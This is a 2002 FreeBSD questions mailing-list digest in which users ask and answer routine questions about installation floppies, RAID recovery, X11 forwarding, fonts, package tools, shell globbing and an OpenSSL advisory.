  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Drecorde@kirtland.cc.mi.us=20
  href=3D"mailto:recorde@kirtland.cc.mi.us">Patricia Earlene Record</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  title=3Dfreebsd-questions@FreeBSD.ORG=20
  =
href=3D"mailto:freebsd-questions@FreeBSD.ORG">freebsd-questions@FreeBSD.O=
RG</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, August 03, 2002 =
12:38=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> os</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>I was wondering. I am a single mother =
of three=20
  trying to find a new operating system for my laptop to free up my =
computer for=20
  my children. However, i am unable to purchase operating software =
because it is=20
  just to expensive and i cant afford to. I was reading your web site =
and was=20
  wondering if you had a free version of this on 3.5 floppy disks. My =
laptop=20
  only has floppy. if you could help please let me know. Thanks=20
  Earlene</FONT></DIV></BLOCKQUOTE></BODY></HTML>

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From owner-freebsd-questions  Fri Aug  2 14:19:27 2002
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Subject: well, I'll be . . . I finally crahsed it!
From: "Richard E. Hawkins" <dochawk@psu.edu>
Date: Fri, 02 Aug 2002 17:19:49 -0400
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After something like five years of nearly fulltime use, I finally 
crashed FreeBSD . . . I've had the explainable ones before from 
overloading the VM by loading files larger than virtual memory into a 
binary editor, hand fork-bombing on images in netscape, and so forth, 
but this one just caught me off guard.  I suppose that I should report 
ithappening somewhere . . .

I had a buildworld running, I had a pair of scp processes on the new 
machine copying /usr/src and /usr/ports over.  Noticing a huge quantity 
of files being tranfered (presumably a work directory), I rm -rf'd 
/usr/ports/*/*/work

I suppose they collided . . . THe machine froze up, and rebooted after 
a minute or two.

hawk

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From owner-freebsd-questions  Fri Aug  2 14:24: 7 2002
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From: Jerry McAllister <jerrymc@clunix.cl.msu.edu>
Message-Id: <200208022123.g72LNvm17734@clunix.cl.msu.edu>
Subject: Re: os
To: recorde@kirtland.cc.mi.us (Patricia Earlene Record)
Date: Fri, 2 Aug 2002 17:23:57 -0400 (EDT)
Cc: freebsd-questions@FreeBSD.ORG
In-Reply-To: <001501c23a7d$c4331400$38976fc6@momsputer> from "Patricia Earlene Record" at Aug 02, 2002 04:38:51 PM
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> 
> I was wondering. I am a single mother of three trying to find a new 
> operating system for my laptop to free up my computer for my children. 

I am not sure hor FreeBSD relates to that, but...

> However, i am unable to purchase operating software because it is just 
> to expensive and i cant afford to. I was reading your web site and was 
> wondering if you had a free version of this on 3.5 floppy disks. My 
> laptop only has floppy. if you could help please let me know. Thanks 

Go to the FreeBSD web site   http://www.freebsd.org/
Read lots of stuff and learn as much as you can.
Most of the way down the first page of theweb site there is
a paragraph headed with "Easy to install" at the bottom of that
paragraph is a link saying you need 2 floppies and  "these instructions."
Click on it and then read pretty much everything in each of the
indexed items on that page.   Amongst the documentation you will
find addresses where you can download boot images and make your
own install floppies for free (except the cost of the two floppies).

////jerry

> Earlene
> 

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Subject: scsi raid probs
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A FreeBSD 4.2 machine suffered damage in an electrical storm, either 
from repeated power outages (UPS not working) or from a power surge on 
ethernet or isdn connections. Didn't boot --> new motherboard => booted. 
Then scsi raid array didn't come up (3x30GB IBM disks in RAID V array 
using adaptec 2100S controller) --> new controller card => raid array 
came to life. But I can only transfer files of up to 25MB in size. If it 
doesn't like a transfer, machine hangs. If shut down without a hang, 
complains that 1 (or more) buffer did not respond and says it is "giving 
up" on it. Then shuts down but RAID array has not been marked clean.

New 4.6 system on IDE drive, and I have copied, painfully, some data 
from the array. But some files > 25MB and anyway, it will take all month 
to transfer in small lumps.

Can anyone suggest any way to mount the array such that it can deliver 
its data? Or a way to transfer that won't clog the system? I've been 
mounting it read-only and that seems to help. I can copy large numbers 
of files in small groups but trying to copy either too many files at 
once or too large a file on its own causes the whole system to freeze 
and I have to reboot.

All useful suggestions gratefully received.

Peter Risdon.


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From owner-freebsd-questions  Fri Aug  2 14:39: 1 2002
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From: Joshua Lee <yid@softhome.net>
To: "Tiago Marques" <motinhas_1@hotmail.com>
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Subject: Re: FreeBSD compatibility
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On Thu, 25 Jul 2002 14:12:28 +0300
"Tiago Marques" <motinhas_1@hotmail.com> wrote:

> I'm a user of Linux, and i do some programming for college, some related 
> with sockets, processes, and all kinds of linux system programming.
> I've been thinking about moving to FreeBSD but i would like to know if the 
> programs i do in Linux will be compatible with FreeBSD.

Most of them will be compatable. The areas of different compatability would be solvable by a standard configure script. Binaries are also usually compatable, and the emulation is very fast - there's no noticable difference. As for sockets, though I've never ported TCP/IP code between the two, Linux's TCP/IP stack was originally lifted from BSD. (Though FreeBSD's implementation is not only more mature, BSD having the very first implementation of a TCP/IP stack under ARPA's auspices, it has become better tuned over time and is considered one of the fastest.)

> Also, i'm a regular user, but not very experienced in Linux, i just know my 
> way around, not much more. Do you think i'll be able to use FreeBSD easily 
> or is it more complicated to mantain and admin ?

FreeBSD is more difficult to *install* than most major Linux distributions, but easier to *maintain* due to BSD inits and the ports system, among other things. (The latter means no more RPM-style DLL hell.) You'll find eventually that BSD is easier to use than Linux in many tasks because it is better designed.

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From owner-freebsd-questions  Fri Aug  2 14:40:40 2002
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From: David =?iso-8859-1?Q?Sieb=F6rger?= <drs@rucus.ru.ac.za>
To: Dave Woodruff <Woodruff@RadOnc17.UCSF.Edu>
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On Fri 2002-08-02 (11:54), Dave Woodruff wrote:
>   I have just installed FreeBSD 4.6 (up from 4.2).  My scripts 
> which used to reliably produce an xterm on this machine from 
> various other *nix hosts (FreeBSD, Solaris, IRIX, Linux) now get 
> 
> _X11TransSocketINETConnect: Can't connect: errno = 61
> 
> even though I have run the xhost command for each of these remote 
> stations on my 4.6 box.

Your X server's TCP transport is disabled unless it's started with
"startx -listen_tcp".

>    I have scanned the FreeBSD release notes for 4.3 - 4.6 and there 
> is no mention of a change in X-connection security policy, defaults, 
> ...  

Look up -listen_tcp in startx(1).


-- 
David Siebörger
drs@rucus.ru.ac.za

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From owner-freebsd-questions  Fri Aug  2 14:40:50 2002
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From: Peter Leftwich <Hostmaster@Video2Video.Com>
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To: Patricia Earlene Record <recorde@kirtland.cc.mi.us>
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On Fri, 2 Aug 2002, Patricia Earlene Record wrote:
> I was wondering. I am a single mother of three trying to find a new operating system for my laptop to free up my computer for my children. However, i am unable to purchase operating software because it is just to expensive and i cant afford to. I was reading your web site and was wondering if you had a free version of this on 3.5 floppy disks. My laptop only has floppy. if you could help please let me know. Thanks Earlene

Your laptop didn't come with an OS?  FreeBSD does have free bootable
floppies but these are used only in preparation for installing the whole
(or minimal) set of files for the OS over FTP.  Many here would recommend
you have high bandwidth Internet (fast connection) if you plan to do so.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Fri Aug  2 14:41: 0 2002
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From: David =?iso-8859-1?Q?Sieb=F6rger?= <drs@rucus.ru.ac.za>
To: "Philip M. Gollucci" <philip@p6m7g8.com>
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On Fri 2002-08-02 (16:08), Philip M. Gollucci wrote:
> I'got a 192.168.1.* network setup and running with a Linksys DSL/Router.
> 
> Computer 129 is my personal workstation running FBSD 4.6-RELEASE-p2
> FreeBSD p6m7g8 4.6-RELEASE-p2 FreeBSD 4.6-RELEASE-p2 #0: Sun Jul 14 
> 15:34:39 GMT 2002   philip@p6m7g8:/usr/obj/usr/src/sys/PHILIP  i386
> 
> Computer 2 is a webserver running FBSD 4.5-RELEASE
> FreeBSD web 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Sun Jun 23 18:45:25 EST 
> 2002     philip@web.p6m7g8.com:/usr/src/sys/compile/PHILIP  i386
> 
> Both have XFree86 installed
>   (2) 3.8.6
>   (129) 4.2.1
> 
> workstation% xhost +192.168.1.2

That won't have any effect unless you've started your X server using
"startx -listen_tcp".

> webserver% setenv DISPLAY 192.168.1.129:0.0 ( w/ssh I shouldn't have to)

No, you shouldn't - ssh should set DISPLAY to something like
"localhost:10.0".  Are you sure you've enabled X forwarding on the
ssh client and sshd?  If you get it working, you won't need to use
xhost or -listen_tcp on your workstation.


-- 
David Siebörger
drs@rucus.ru.ac.za

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From owner-freebsd-questions  Fri Aug  2 14:41:19 2002
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To: FreeBSD Question Mailing List <questions@freebsd.org>
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Hello,

	Anybody know of a text based editor that I can just view and/or
edit Microsoft Word documents?

Thanks,
Christopher J. Umina


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From owner-freebsd-questions  Fri Aug  2 14:41:54 2002
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Date: Fri, 2 Aug 2002 17:44:18 -0400
From: parv <parv_fm@emailgroups.net>
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in message <20020802210945.GA64804@rochester.rr.com>,
wrote mpd thusly...
>
> On Fri, Aug 02, 2002 at 05:06:08PM -0400, parv wrote:
> > i can't access mail from a particular account; i had sent requests
> > to unsubscribe to majordodmo@freebsd from a working account...
> > 
> >   unsubscribe * <defunct account>
> > 
> > the reply from majordomo@ says that i would need to confirm the
> > unsubscribe requests, as usual.
> > 
> > since i can't access the defunct account, is <list>-approval@freebsd
> > the right address, given in above mentioned majordomo@ note, to ask
> > to be un-subscribed?
> 
> Well, if the account itself is dead and no longer accepting mail,
> you'll be unsubbed automatically relatively quickly.

that's what i am hoping for.  i don't know for sure if the account
is really dead or just inaccesible for the time being for some
reason.

  - parv

-- 
 

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From owner-freebsd-questions  Fri Aug  2 14:47:47 2002
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Subject: smart file gobbling: exclude one file from list
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Hi,

if i do "cp * /destination", all files in the current directory will be
copied to /destination. What do i have to type, if i want to expand the '*'
to all files, except of one? For example, if i wanted to exclude the file
"notme" in the current directory?

I know i could hack it with grep, but this fails as all files are on one
line. I wonder how you gurus would solve this! :)

TIA




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From owner-freebsd-questions  Fri Aug  2 14:50:40 2002
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On Tue, 30 Jul 2002, robert Backhaus wrote:
> Now we've got 40GB disks for the price of a good day's work, those tracks are rather unimportant. I still would use DD mode if I didn't want to dual boot, knowing that any strange formatting can be zapped away fairly easily.

> > You can do this for example with `dd if=/dev/zero of=/dev/rsd0 count=15`"
> What this will do is, for the purposes of any fsidk/partition magic/formatter program, return the disk to a 'Unformatted, straight from the factory' state. From there, do what you want! It's the `fix all problems' shotgun solution.

He he, coooool `man zero` -- this didn't appear until FreeBSD 4.4?!

> > Question 3, is this fdisk /mbr a DOS command or a FreeBSD command, or both?
> Dos command. It's the dos disk partitioner. Great for this, but it's too slow for most PC installers, who use things from Ontrack that format a disk in about 5 seconds.

Whoa 5 seconds!  What is this "Ontrack" thing to which you refer?

> > Ooh ooh ooh!  What is ZapDisk?  Is it like PartitionMagic for FreeBSDers?!
> It's a dos utility that does the 'partition table obliteration' outlined above. Put it on a boot floppy and add it to your tooklit. Do a google, I couldn't find it's hompage. It'll be at tucows et al

I recently found out that the bootable PartitionMagic diskettes are not
stand alone disks.  That is, in order to boot, they corroborate or verify
something as being install on a DOS partition :(

Is ZapDisk useful for recovery or repair operations, or only for
obliteration?  I ask because I have taken out my old 40gb drive due to
having run a command (`boot0cfg -B /dev/ad0s2`) which wiped my MBR *and*
partition table (I think / I am told)...

Needed: Some kind of bootable tool or method to mount the old drive and
have a utility guess-timate or figure out logically where it appears the
old partition lines were drawn... there are "4 slices" on that HD, data I need!

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Fri Aug  2 14:54: 0 2002
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What is the pkgdb command and what does it do?

myprompt$ pkg_add -r pkgdb
Error: FTP Unable to get ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-4-stable/Latest/pkgdb.tgz: File unavailable (e.g., file not found, no access)
pkg_add: unable to fetch `ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-4-stable/Latest/pkgdb.tgz' by URL

myprompt$ which pkgdb
pkgdb: Command not found.

PS- How do you pkg_add from elsewhere and what are some good sites/URLs?

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From: Dan Nelson <dnelson@allantgroup.com>
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Subject: Re: smart file gobbling: exclude one file from list
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In the last episode (Aug 02), Pascal Giannakakis said:
> Hi,
> 
> if i do "cp * /destination", all files in the current directory will be
> copied to /destination. What do i have to type, if i want to expand the '*'
> to all files, except of one? For example, if i wanted to exclude the file
> "notme" in the current directory?
> 
> I know i could hack it with grep, but this fails as all files are on one
> line. I wonder how you gurus would solve this! :)

If you are using zsh and have the EXTENDED_GLOB option set,

cp *~notme /destination

Otherwise, you'll need to do something like

cp $(echo ' ' * ' ' | sed -e 's/ notme / /') /destination

-- 
	Dan Nelson
	dnelson@allantgroup.com

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From owner-freebsd-questions  Fri Aug  2 14:57:46 2002
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Subject: Re: [Fwd: startx  refuses to open *some* font files]
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This is a multi-part message in MIME format.
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OK, did that.  Those three files *still* seem to be unusable to X11, but it's
interesting that a new
(with today's date) font.dir appeared in them, whereas a font.dir already
existed in the other
files.  This has to be relavent.
By the way, I've tried adding a    .xftconfig  file and maybe a couple of
other things.  I get the
feeling that using  startx (via the "wrapper") to start X11V6 v4, and not
using    xdm   might
figure into my problem.  But I haven't been successful using xdm yet.

Check out the attachment, too.  It's the output of script, but I tried so
many things that I can't remember exactly what I was trying at the time (plus
I wasn't careful to name it so as to remind me), but the error codes surely
*must* be relevant, too.


Kyle Butt wrote:

> On Thu, Aug 01, 2002 at 02:18:35PM -0700, Parker Brown wrote:
> >
> >
> > --
> > Pb
> >
> >
>
> > X-Mozilla-Status2: 00000000
> > Date: Thu, 01 Aug 2002 13:44:18 -0700
> > From: Parker Brown <phbrown@charter.net>
> > X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386)
> > X-Accept-Language: en
> > To: BSDQuestions <freebsd-questions@FreeBSD.ORG>
> > Subject: startx  refuses to open *some* font files
> >
> > FreeBSD 4.6 with X11 v4.  Trying to get some easily readable fonts on
> > X11,  particularly on netscape.  I installed the urwfonts from x11-fonts
> >
> > ports, but got the     unable to open display ""   when I ran xset, so I
> >
> > edited /etc/X11/XF86Config to include an entry for .../fonts/URW.  Still
> >
> > no apparent difference in appearance, but I noticed that startx pumps
> > out messages like     startx:  could not init font path element
> > /usr/X11R6/lib/X11/fonts/URW.   The same messages appear regarding
> > ../fonts/Type1  and ../fonts/Speedo.
> >
> > X11 has no problem with any other fonts listed in  /etc/X11/XF86Config.
> > All fonts listed in the config file have entries in
> > /usr/X11R6/lib/x11/fonts,  but apparently URW, Type1 and Speedo are
> > "not welcome" to the tyrant X11.
> >
> > Haven't figured out xdm yet, so I installed a "wrapper" and use startx.
> >
> > Can anybody help me figure this one out?  I've gone about as far as I
> > can
> > with this one.
> >
> >
> > --
> > Pb
> >
> >
>
> try mkfontdir in the failing directories
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

--
Pb



--------------6C064D63DC8704F5976CAF5B
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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>OK, did that.&nbsp; Those three files *still* seem to be unusable to
X11, but it's interesting that a new
<br>(with today's date) font.dir appeared in them, whereas a font.dir already
existed in the other
<br>files.&nbsp; This has to be relavent.
<br>By the way, I've tried adding a&nbsp;&nbsp;&nbsp; .xftconfig&nbsp;
file and maybe a couple of other things.&nbsp; I get the
<br>feeling that using&nbsp; startx (via the "wrapper") to start X11V6
v4, and not using&nbsp;&nbsp;&nbsp; xdm&nbsp;&nbsp; might
<br>figure into my problem.&nbsp; But I haven't been successful using xdm
yet.
<p>Check out the attachment, too.&nbsp; It's the output of script, but
I tried so many things that I can't remember exactly what I was trying
at the time (plus I wasn't careful to name it so as to remind me), but
the error codes surely *must* be relevant, too.
<br>&nbsp;
<p>Kyle Butt wrote:
<blockquote TYPE=CITE>On Thu, Aug 01, 2002 at 02:18:35PM -0700, Parker
Brown wrote:
<br>>
<br>>
<br>> --
<br>> Pb
<br>>
<br>>
<p>> X-Mozilla-Status2: 00000000
<br>> Date: Thu, 01 Aug 2002 13:44:18 -0700
<br>> From: Parker Brown &lt;phbrown@charter.net>
<br>> X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386)
<br>> X-Accept-Language: en
<br>> To: BSDQuestions &lt;freebsd-questions@FreeBSD.ORG>
<br>> Subject: startx&nbsp; refuses to open *some* font files
<br>>
<br>> FreeBSD 4.6 with X11 v4.&nbsp; Trying to get some easily readable
fonts on
<br>> X11,&nbsp; particularly on netscape.&nbsp; I installed the urwfonts
from x11-fonts
<br>>
<br>> ports, but got the&nbsp;&nbsp;&nbsp;&nbsp; unable to open display
""&nbsp;&nbsp; when I ran xset, so I
<br>>
<br>> edited /etc/X11/XF86Config to include an entry for .../fonts/URW.&nbsp;
Still
<br>>
<br>> no apparent difference in appearance, but I noticed that startx pumps
<br>> out messages like&nbsp;&nbsp;&nbsp;&nbsp; startx:&nbsp; could not
init font path element
<br>> /usr/X11R6/lib/X11/fonts/URW.&nbsp;&nbsp; The same messages appear
regarding
<br>> ../fonts/Type1&nbsp; and ../fonts/Speedo.
<br>>
<br>> X11 has no problem with any other fonts listed in&nbsp; /etc/X11/XF86Config.
<br>> All fonts listed in the config file have entries in
<br>> /usr/X11R6/lib/x11/fonts,&nbsp; but apparently URW, Type1 and Speedo
are
<br>> "not welcome" to the tyrant X11.
<br>>
<br>> Haven't figured out xdm yet, so I installed a "wrapper" and use startx.
<br>>
<br>> Can anybody help me figure this one out?&nbsp; I've gone about as
far as I
<br>> can
<br>> with this one.
<br>>
<br>>
<br>> --
<br>> Pb
<br>>
<br>>
<p>try mkfontdir in the failing directories
<p>To Unsubscribe: send mail to majordomo@FreeBSD.org
<br>with "unsubscribe freebsd-questions" in the body of the message</blockquote>

<pre>--&nbsp;
Pb</pre>
&nbsp;</html>

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Script started on Thu Aug  1 17:37:31 2002
X Error of failed request:  86
  Major opcode of failed request:  51 (X_SetFontPath)
  Serial number of failed request:  7
  Current serial number in output stream:  9

Script done on Thu Aug  1 17:37:31 2002

--------------5388BF152EAD8633AEDA291B--


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From owner-freebsd-questions  Fri Aug  2 15: 3:14 2002
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Date: Fri, 2 Aug 2002 16:03:04 -0600 (MDT)
From: Scott Carmichael <freebsd@jobeus.net>
To: Peter Leftwich <Hostmaster@video2video.com>
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Subject: Re: pkgdb
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From 'man pkgdb':
DESCRIPTION
   The pkgdb command is a tool to create or update the system package
   database which is used by the portupgrade(1) tool suite.  It maintains a
   hash that maps an installed file to a pacakge name, a hash that maps a
   package to an origin, and a list of installed packages.

You get pkgdb by installing portupgrade.

You can install packages from other locations by typing pkd_add -r
"ftp://somesite/packages/name-version.tgz"

There's mirrors on freebsd.org, basically anyone who carries the OS should
have the packages too. Though if you want a comprehensive list, use ports
instead of packages, in which case pkgdb/portupgrade will then be handy
to have.

-Scott


On Fri, 2 Aug 2002, Peter Leftwich wrote:

> What is the pkgdb command and what does it do?
>
> myprompt$ pkg_add -r pkgdb
> Error: FTP Unable to get ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-4-stable/Latest/pkgdb.tgz: File unavailable (e.g., file not found, no access)
> pkg_add: unable to fetch `ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-4-stable/Latest/pkgdb.tgz' by URL
>
> myprompt$ which pkgdb
> pkgdb: Command not found.
>
> PS- How do you pkg_add from elsewhere and what are some good sites/URLs?
>
> --
> Peter Leftwich
> President & Founder
> Video2Video Services
> Box 13692, La Jolla, CA, 92039 USA
> +1-413-403-9555
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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> Date: Fri, 2 Aug 2002 16:56:17 -0500
> From: Dan Nelson <dnelson@allantgroup.com>
> To: Pascal Giannakakis <capm@gmx.net>
> Cc: freebsd-questions@FreeBSD.ORG
> Subject: Re: smart file gobbling: exclude one file from list
> 
> In the last episode (Aug 02), Pascal Giannakakis said:
> > Hi,
> > 
> > if i do "cp * /destination", all files in the current directory will be
> > copied to /destination. What do i have to type, if i want to expand the '*'
> > to all files, except of one? For example, if i wanted to exclude the file
> > "notme" in the current directory?
> > 
> > I know i could hack it with grep, but this fails as all files are on one
> > line. I wonder how you gurus would solve this! :)
> 
> If you are using zsh and have the EXTENDED_GLOB option set,
> 
> cp *~notme /destination
> 
> Otherwise, you'll need to do something like
> 
> cp $(echo ' ' * ' ' | sed -e 's/ notme / /') /destination

    this is somewhat easier:

    cp $(echo `ls|grep -xv notme`) /destination

-- 
FreeBSD 4.6-STABLE
12:05AM up 3 days, 7:41, 10 users, load averages: 0.00, 0.00, 0.00

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From owner-freebsd-questions  Fri Aug  2 15: 9:22 2002
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From: "Balaji, Pavan" <pavan.balaji@intel.com>
To: "'Christopher J. Umina'" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>,
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Subject: RE: Editor for Word files
Date: Fri, 2 Aug 2002 15:09:07 -0700 
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Abiword... OpenOffice...

I haven't used OpenOffice, but the version of Abiword I have, sometimes
gives a problem while reading tables, etc -- dunno about the latest version.
Any updates on this?


Pavan Balaji,
Intel Corporation
Email: pavan.balaji@intel.com

    "Only the Paranoid Survive"  --  Andy Grove


> -----Original Message-----
> From: Christopher J. Umina
> [mailto:uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com]
> Sent: Friday, August 02, 2002 4:42 PM
> To: FreeBSD Question Mailing List
> Subject: Editor for Word files
> 
> 
> Hello,
> 
> 	Anybody know of a text based editor that I can just view and/or
> edit Microsoft Word documents?
> 
> Thanks,
> Christopher J. Umina
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

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From owner-freebsd-questions  Fri Aug  2 15: 9:32 2002
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Date: Fri, 02 Aug 2002 18:09:09 -0400
From: "Philip M. Gollucci" <philip@p6m7g8.com>
Subject: Re: FreeBSD and XFree86
To: =?ISO-8859-1?Q?David_Sieb=F6rger?= <drs@rucus.ru.ac.za>
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Yes, I have enabled XForwarding on the client on 192.168.1.129 and on 
the sshd on 192.168.1.2

X11Forwarding yes

I've also run startx -listen_tcp.

Whats wierd, is these are the only two computers it doesn't work on. 
Adding the xhost and setting the DISPLAY env var have worked everywhere 
else before wether on my network or not.




David Siebörger wrote:
> On Fri 2002-08-02 (16:08), Philip M. Gollucci wrote:
> 
>>I'got a 192.168.1.* network setup and running with a Linksys DSL/Router.
>>
>>Computer 129 is my personal workstation running FBSD 4.6-RELEASE-p2
>>FreeBSD p6m7g8 4.6-RELEASE-p2 FreeBSD 4.6-RELEASE-p2 #0: Sun Jul 14 
>>15:34:39 GMT 2002   philip@p6m7g8:/usr/obj/usr/src/sys/PHILIP  i386
>>
>>Computer 2 is a webserver running FBSD 4.5-RELEASE
>>FreeBSD web 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Sun Jun 23 18:45:25 EST 
>>2002     philip@web.p6m7g8.com:/usr/src/sys/compile/PHILIP  i386
>>
>>Both have XFree86 installed
>>  (2) 3.8.6
>>  (129) 4.2.1
>>
>>workstation% xhost +192.168.1.2
> 
> 
> That won't have any effect unless you've started your X server using
> "startx -listen_tcp".
> 
> 
>>webserver% setenv DISPLAY 192.168.1.129:0.0 ( w/ssh I shouldn't have to)
> 
> 
> No, you shouldn't - ssh should set DISPLAY to something like
> "localhost:10.0".  Are you sure you've enabled X forwarding on the
> ssh client and sshd?  If you get it working, you won't need to use
> xhost or -listen_tcp on your workstation.
> 
> 



-- 
END
------------------------------------------------------------------------------ 

Philip M. Gollucci philip@p6m7g8.com 301.474.9294 301.646.3011 (cell)

Science, Discovery, & the Universe (UMCP)
Webmaster & Webship Teacher
URL: http://www.sdu.umd.edu

eJournalPress
Database/PERL Programmer & System Admin
URL : http://www.ejournalpress.com

Resume : http://p6m7g8.net/Resume



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From owner-freebsd-questions  Fri Aug  2 15:11:40 2002
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Subject: RE: Editor for Word files
From: Larry Rosenman <ler@lerctr.org>
To: "Balaji, Pavan" <pavan.balaji@intel.com>
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On Fri, 2002-08-02 at 17:09, Balaji, Pavan wrote:
> 
> Abiword... OpenOffice...
> 
> I haven't used OpenOffice, but the version of Abiword I have, sometimes
> gives a problem while reading tables, etc -- dunno about the latest version.
> Any updates on this?
There is a RFE on Abiword's bugzilla.  Promised for the next release.
:-(. 

OOo works just fine :-)

-- 
Larry Rosenman                     http://www.lerctr.org/~ler
Phone: +1 972-414-9812                 E-Mail: ler@lerctr.org
US Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749


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From owner-freebsd-questions  Fri Aug  2 15:14:44 2002
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I just cvsuped and everything went well without a hitch.

Silvester v.d. Leer wrote:
| Hi
|
| Seems like de cvs branch is broken :
|
| /usr/src/lib/libc/../libc/gen/readpassphrase.c:45: readpassphrase.h:
No such
| file or directory
| mkdep: compile failed
| *** Error code 1
|
| Stop in /usr/src/lib/libc.
| *** Error code 1
|
| Stop in /usr/src/lib.
|
| anyone ?
|
| Thanks,
|
| Silvester
|
|
|
| To Unsubscribe: send mail to majordomo@FreeBSD.org
| with "unsubscribe freebsd-stable" in the body of the message
|
|


- --
- -Jason Porter

"Real programmers are secure enough to write
readable code, which they then self-righteously
refuse to explain."
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From owner-freebsd-questions  Fri Aug  2 15:21:37 2002
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Date: Fri, 2 Aug 2002 18:21:33 -0400 (EDT)
From: Peter Leftwich <Hostmaster@Video2Video.Com>
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Subject: www.freebsd.org - filetype/player
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Is there a list somewhere of filetype/player and so on for FreeBSD packages
or binaries?

After reading (skimming) http://heroinewarrior.com/xmovie.php3 and just
(successfully) trying the command `pkg_add -r xmovie` (I have a *.mov file
I want to view), the following occurs:

myprompt$ xmovie
install_fs: Function not implemented
Couldn't install fs segment, expect segfault
Segmentation fault (core dumped)

--
Peter Leftwich
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Box 13692, La Jolla, CA, 92039 USA
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From owner-freebsd-questions  Fri Aug  2 15:27:23 2002
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Date: Fri, 02 Aug 2002 16:26:41 -0600
From: Hal Lynch <hl700@cc.usu.edu>
Subject: Security Advisory FreeBSD-SA-02:33.openssl Fix?!
To: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
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To fix FreeBSD-SA-02:33.openssl the advisory suggested that I
upgrade my 4.4 system to one of:
	4.6-STABLE
	4.6.1-RELEASE-p3
	4.5-RELEASE-p13
	4.4-RELEASE-p20.

The same advisory said the openssl vulnerability was corrected in
each of:
	2002-07-30 22:04:59 UTC (RELENG_4)
	2002-07-31 02:54:36 UTC (RELENG_4_6)
	2002-07-31 02:04:45 UTC (RELENG_4_5)
	2002-07-31 16:40:30 UTC (RELENG_4_4).

I went www.FreeBSD.org Checked 'Getting FreeBSD' selected a
mirror and then couldn't find any reference to any of the above.
I am sure they are there I just don't know what to look for?!

Can someone give a clue to someone who has only installed
from a cd set?

hal


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From owner-freebsd-questions  Fri Aug  2 15:44:47 2002
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Hi there,

i have an unnerving problem with a port. i wanted to install
textproc/yodl. turned out the port is pretty old; i found a patch that
updates it to the latest version in gnats. but, the installation failed
with 

===>   Generating temporary packing list
/usr/libexec/elf/strip: /usr/local/bin/INS@qlTF: File format not recognized
install: wait: Undefined error: 0
*** Error code 70

Stop in /usr/ports/textproc/yodl.

the file doesn't exist in /usr/local/bin, which makes me nervous some
more: strip normally says "No such file or directory" to nonexistant
files.

i've run make install in /usr/ports/textproc/yodl/ several times (if my
box is hacked right now it won't get any worse if i hack it twice), and
the part after the at sign changes. it looks like a badly written trojan
or something...

building and installing the program outside the ports collection doesn't
give me any errors. 

i'm wondering: is the tarball trojaned? is something else hosed in my
system? i've tried installing /usr/ports/www/links, and it ran to
completion.

TIA

-- 
FreeBSD 4.6-STABLE
12:08AM up 3 days, 7:45, 10 users, load averages: 0.00, 0.00, 0.00

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From owner-freebsd-questions  Fri Aug  2 15:51:20 2002
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From: "Stephen Hoover" <shooverfbn@442spot.com>
To: <freebsd-questions@freebsd.org>
Subject: iostat/vmstat shows no disk activity.
Date: Fri, 2 Aug 2002 17:51:54 -0500
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I am watching iostat and vmstat as I am working on my box, say for
instance a makeworld. All the other values change/update but the disks
always show 0.00.


4.5-RELEASE-p16

2 SCSI disks.

Any thoughts - am I doing something wrong?

Stephen Hoover
Dallas, Texas



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From owner-freebsd-questions  Fri Aug  2 15:59: 1 2002
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To: Jerry McAllister <jerrymc@clunix.cl.msu.edu>,
	mcrogerm@stjohn.ac.th (Roger Merritt)
Subject: Re: Trap 12 page fault in kernel mode
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On Friday 02 August 2002 11:56 am, Jerry McAllister wrote:
| > I've been having problems running portsdb and portupgrade remotely for a
| > couple of months now. When I use SSH to log in and run portsdb I get a
| > hell of a lot of error messages (mostly saying "" doesn't exist and the
| > dependency list is incomplete) and after a couple of hours the server
| > reboots. Today I caught it while the screen was still displaying the
| > error message, "Trap 12 page fault while in kernel mode". Today I was
| > running the file output by 'portversion -c > needs.update'. The machine
| > had been chugging away merrily for a couple of hours downloading and
| > compiling when the same thing happened.
| >
| > I guess from the term "page fault" there has been a glitch in virtual
| > memory. Is this a symptom that my hard drive might be developing
| > problems? Oddly enough, I've run similar commands from the console and
| > they've completed without a reboot.
|
| The term "page fault" just means it had to page out some memory to
| disk or get it back again.  The virtual memory system pages so swap
| space.

Although that is a definition of "page fault" I believe that the message only 
occurs when it tries to page but it can't.  Possibly the disk where the swap 
space is is corrupted, or possibly you simply don't have enough of it.  I'd 
recommend running xosview or similar so you can monitor your memory usage, 
but I suspect that a bigger swap area might behoove you.  Or more physical 
RAM.

|
| I don't know about the other messages though.  I supposes they could
| also relate to running out of memory and swap space but really don't


